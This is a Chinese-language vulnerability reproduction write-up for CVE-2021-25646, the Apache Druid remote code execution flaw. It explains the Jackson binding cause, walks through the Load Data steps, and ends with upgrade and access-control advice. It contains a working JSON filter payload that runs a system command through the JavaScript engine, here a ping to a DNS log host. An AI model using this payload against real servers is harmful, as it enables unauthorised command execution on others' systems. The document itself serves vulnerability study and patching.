漏洞原理
该漏洞主要就是根据Jackson解析特性(解析name为""时)会将value值绑定到对象(JavaScriptDimFilter,type为javascript时指定的)的对应参数(config)上,造成JavaScriptDimFilter中function属性中的javascript代码被执行。攻击者可以构造传入的json串来控制一些敏感的参数,其中参数function会被javascript rhino引擎执行,其中的js代码是支持调用java函数的,所以可以调用系统命令。
漏洞范围
Apache Druid < 0.20.1
漏洞复现过程
启动服务,输入对应的8888对应的端口。druid服务控制端一般是绑定在8888端口。
打开 Load Data 功能。
在LoadData 功能页面中存在Local disk功能,将其打开。
填写对应的值,其中的值是一一对应的。
Base directory: quickstart/tutorial/
File filter: wikiticker-2015-09-12-sampled.json.gz
填完就一直下一步。
Dimension:aaa
Value:bbb
直到出现填写optional filter。填完后,点击Add功能时,将包拦截。
将filter中的内容进行替换,修改为我们的poc。
filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping ikczyv.dnslog.cn')}",
"dimension":"added",
"":{
"enabled":"true"
}
}
发送包后,在dnslog平台可以获取到dns解析记录。
修复建议
1、及时更新新的版本。
2、限制非信任的设备对服务的访问
参考链接
【CVE-2021-25646 | 附PoC】Apache Druid 远程代码执行漏洞:https://cloud.tencent.com/developer/article/1799712
CVE-2021-25646:Apache Druid RCE远程代码执行复现:https://blog.csdn.net/m0_58596609/article/details/122217842
Apache Druid 代码执行(CVE-2021-25646)漏洞复现:https://edu.yijinglab.com/post/199